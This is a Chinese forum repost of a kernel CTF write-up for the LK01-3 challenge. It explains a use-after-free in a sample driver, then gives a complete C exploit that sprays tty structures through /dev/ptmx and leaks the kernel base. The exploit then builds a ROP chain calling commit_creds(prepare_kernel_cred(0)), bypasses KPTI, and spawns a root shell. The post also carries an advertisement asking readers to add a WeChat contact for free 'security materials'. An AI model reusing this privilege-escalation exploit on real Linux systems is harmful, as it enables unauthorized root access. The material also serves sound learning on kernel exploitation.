通过复用TTY结构体实现提权利用

打印 上一主题 下一主题

主题 844|帖子 844|积分 2532

前言

UAF是用户态中常见的漏洞,在内核中同样存在UAF漏洞,都是由于对释放后的空间处理不当,导致被释放后的堆块仍然可以使用所造成的漏洞。
LK01-3

结合题目来看UAF漏洞
项目地址:https://github.com/h0pe-ay/Kernel-Pwn/tree/master/LK01-3
open模块

在执行open模块时会分配0x400大小的堆空间,并将地址存储在g_buf中
  1. #define BUFFER_SIZE 0x400
  2. char *g_buf = NULL;
  3. static int module_open(struct inode *inode, struct file *file)
  4. {
  5.  printk(KERN_INFO "module_open called\n");
  6.  g_buf = kzalloc(BUFFER_SIZE, GFP_KERNEL);
  7.  if (!g_buf) {
  8.    printk(KERN_INFO "kmalloc failed");
  9.    return -ENOMEM;
  10.   }
  11.  return 0;
  12. }
复制代码
read模块

在读模块中,会从用户空间中读取0x400字节到g_buf执行的堆空间中
  1. static ssize_t module_read(struct file *file,
  2.                           char __user *buf, size_t count,
  3.                           loff_t *f_pos)
  4. {
  5.  printk(KERN_INFO "module_read called\n");
  6.  if (count > BUFFER_SIZE) {
  7.    printk(KERN_INFO "invalid buffer size\n");
  8.    return -EINVAL;
  9.   }
  10.  if (copy_to_user(buf, g_buf, count)) {
  11.    printk(KERN_INFO "copy_to_user failed\n");
  12.    return -EINVAL;
  13.   }
  14.  return count;
  15. }
复制代码
write模块

在写模块中,会从用户空间拷贝400字节数据到内核堆空间中
  1. static ssize_t module_write(struct file *file,
  2.                            const char __user *buf, size_t count,
  3.                            loff_t *f_pos)
  4. {
  5.  printk(KERN_INFO "module_write called\n");
  6.  if (count > BUFFER_SIZE) {
  7.    printk(KERN_INFO "invalid buffer size\n");
  8.    return -EINVAL;
  9.   }
  10.  if (copy_from_user(g_buf, buf, count)) {
  11.    printk(KERN_INFO "copy_from_user failed\n");
  12.    return -EINVAL;
  13.   }
  14.  return count;
  15. }
复制代码
close模块

close模块会释放g_buf指向的堆块空间
  1. static int module_close(struct inode *inode, struct file *file)
  2. {
  3.  printk(KERN_INFO "module_close called\n");
  4.  kfree(g_buf);
  5.  return 0;
  6. }
复制代码
漏洞分析

在读写模块中都限制了长度为0x400,这与一开始分配的堆空间大小一致,因此与LK01-2不同的是不存在堆溢出漏洞。但是在open模块中g_buf是唯一用来存储堆地址的变量,并且没有进行次数限制,那么就会导致多次调用open模块会使得存在多个指针指向同一块内存,若该内存被释放就会造成UAF漏洞。下图就是构造UAF漏洞的流程。

当把g_buf释放掉后,通过fd2文件描述符同样能够操控g_buf的空间,问题是该如何劫持程序流程,由于堆空间是通过slab分配器进行分配的,而slab还可而已进行缓存,因此g_buf被释放后会放进缓存中,而g_buf的大小为0x400这与tty结构体一致,因此此时通过堆喷确保g_buf被分配到tty结构体。构造uaf的代码如下。
  1. ...
  2.     int fd1 = open("/dev/holstein", O_RDWR);
  3.     int fd2 = open("/dev/holstein", O_RDWR);
  4.     close(fd1);
  5.     for (int i = 0; i < 50; i++)
  6.     {
  7.         spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
  8.         if (spray[i] == -1)
  9.         {
  10.             printf("error!\n");
  11.             exit(-1);
  12.         }
  13.     }
  14. ...
复制代码
这里我有一个疑惑的点,在模块中的close函数仅仅只是释放了g_buf的堆内存并没有后续操作,因此在执行close(fd1)之后,是不是还能对文件描述符fd1进行操作,后来试验之后发现不行,查询资料得到,文件描述符的移除是内核默认操作与重定义模块的close操作无关。
【----帮助网安学习,以下所有学习资料免费领!加vx:yj009991,备注 “博客园” 获取!】
 ① 网安学习成长路径思维导图
 ② 60+网安经典常用工具包
 ③ 100+SRC漏洞分析报告
 ④ 150+网安攻防实战技术电子书
 ⑤ 最权威CISSP 认证考试指南+题库
 ⑥ 超1800页CTF实战技巧手册
 ⑦ 最新网安大厂面试题合集(含答案)
 ⑧ APP客户端安全检测指南(安卓+IOS)
在构造出UAF漏洞并进行堆喷之后,实际操作的g_buf指向的是tty的结构体,该结构体偏移0x18是一个函数表的操作指针,那么将该函数表修改为自定义的函数表即可。后续的操作与LK01-3一致,将指针操作修改为栈迁移到堆上,然后就是执行commit_creds(prepare_kernel_cred(0)),利用swapgs_restore_regs_and_return_to_usermode绕过kpti的保护。
run.sh
  1. #!/bin/sh
  2. qemu-system-x86_64 \
  3.    -m 64M \
  4.    -nographic \
  5.    -kernel bzImage \
  6.    -append "console=ttyS0 loglevel=3 oops=panic panic=-1 pti=on kaslr" \
  7.    -no-reboot \
  8.    -cpu qemu64,+smap,+smep \
  9.    -smp 1 \
  10.    -monitor /dev/null \
  11.    -initrd initramfs.cpio.gz \
  12.    -net nic,model=virtio \
  13.    -net user \
  14.    -s
复制代码
exp
  1. #include <stdio.h>
  2. #include <ctype.h>
  3. #include <fcntl.h>
  4. #include <unistd.h>
  5. #include <sys/stat.h>
  6. #include <string.h>
  7. #include <stdlib.h>
  8. int spray[100];
  9. //0xffffffff8114fbe8: add al, ch; push rdx; xor eax, 0x415b004f; pop rsp; pop rbp; ret;
  10. //0xffffffff8114078a: pop rdi; ret;
  11. //0xffffffff81638e9b: mov rdi, rax; rep movsq qword ptr [rdi], qword ptr [rsi]; ret;
  12. //0xffffffff810eb7e4: pop rcx; ret;
  13. //0xffffffff81072560 T prepare_kernel_cred
  14. //0xffffffff810723c0 T commit_creds
  15. //0xffffffff81800e10 T swapgs_restore_regs_and_return_to_usermode
  16. #define push_rdx_pop_rsp_offset 0x14fbe8
  17. #define pop_rdi_ret_offset 0x14078a
  18. #define pop_rcx_ret_offset 0xeb7e4
  19. #define prepare_kernel_cred_offset 0x72560
  20. #define commit_creds_offset 0x723c0
  21. #define swapgs_restore_regs_and_return_to_usermode_offset 0x800e10
  22. #define mov_rdi_rax_offset  0x638e9b
  23. unsigned long user_cs, user_sp, user_ss, user_rflags;
  24. void backdoor()
  25. {
  26.     printf("****getshell****");
  27.     system("id");
  28.     system("/bin/sh");
  29. }
  30. void save_user_land()
  31. {
  32.     __asm__(
  33.         ".intel_syntax noprefix;"
  34.         "mov user_cs, cs;"
  35.         "mov user_sp, rsp;"
  36.         "mov user_ss, ss;"
  37.         "pushf;"
  38.         "pop user_rflags;"
  39.         ".att_syntax;"
  40.     );
  41.     puts("[*] Saved userland registers");
  42.     printf("[#] cs: 0x%lx \n", user_cs);
  43.     printf("[#] ss: 0x%lx \n", user_ss);
  44.     printf("[#] rsp: 0x%lx \n", user_sp);
  45.     printf("[#] rflags: 0x%lx \n", user_rflags);
  46.     printf("[#] backdoor: 0x%lx \n\n", backdoor);
  47. }
  48. int main() {
  49.     save_user_land();
  50.     int fd1 = open("/dev/holstein", O_RDWR);
  51.     int fd2 = open("/dev/holstein", O_RDWR);
  52.     close(fd1);
  53.     for (int i = 0; i < 50; i++)
  54.     {
  55.         spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
  56.         if (spray[i] == -1)
  57.         {
  58.             printf("error!\n");
  59.             exit(-1);
  60.         }
  61.     }
  62.     char buf[0x400];
  63.     read(fd2, buf, 0x400);
  64.     unsigned long *p = (unsigned long *)&buf;
  65.     //for (unsigned int i = 0; i < 0x80; i++)
  66.     //  printf("[%x]:addr:0x%lx\n",i,p[i]);
  67.     unsigned long kernel_addr = p[3];
  68.     unsigned long heap_addr = p[7];
  69.     printf("kernel_addr:0x%lx\nheap_addr:0x%lx\n",kernel_addr,heap_addr);
  70.     unsigned long kernel_base = kernel_addr - 0xc39c60;
  71.     unsigned long g_buf = heap_addr - 0x38;
  72.     printf("kernel_base:0x%lx\ng_buf:0x%lx\n",kernel_base,g_buf);
  73.     *(unsigned long *)&buf[0x18] = g_buf;
  74.     p[0xc] = push_rdx_pop_rsp_offset + kernel_base;
  75.     //for (unsigned long i = 0xd; i < 0x80; i++)
  76.     //  p[i] = i;
  77.     p[0x21] = pop_rdi_ret_offset + kernel_base;
  78.     p[0x22] = 0;
  79.     p[0x23] = prepare_kernel_cred_offset + kernel_base;
  80.     p[0x24] = pop_rcx_ret_offset + kernel_base;
  81.     p[0x25] = 0;
  82.     p[0x26] = mov_rdi_rax_offset + kernel_base;
  83.     p[0x27] = commit_creds_offset + kernel_base;
  84.     p[0x28] = swapgs_restore_regs_and_return_to_usermode_offset + 0x16 + kernel_base;
  85.     p[0x29] = 0;
  86.     p[0x2a] = 0;
  87.     p[0x2b] = (unsigned long)backdoor;
  88.    p[0x2c] = user_cs;
  89.    p[0x2d] = user_rflags;
  90.    p[0x2e] = user_sp;
  91.    p[0x2f] = user_ss;  
  92.     write(fd2, buf, 0x400);
  93.     for (int i = 0; i < 50; i++)
  94.         ioctl(spray[i], 0, g_buf+0x100);   
  95.         
  96. }
复制代码
   更多网安技能的在线实操练习,请点击这里>>
 

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

温锦文欧普厨电及净水器总代理

金牌会员
这个人很懒什么都没写!
快速回复 返回顶部 返回列表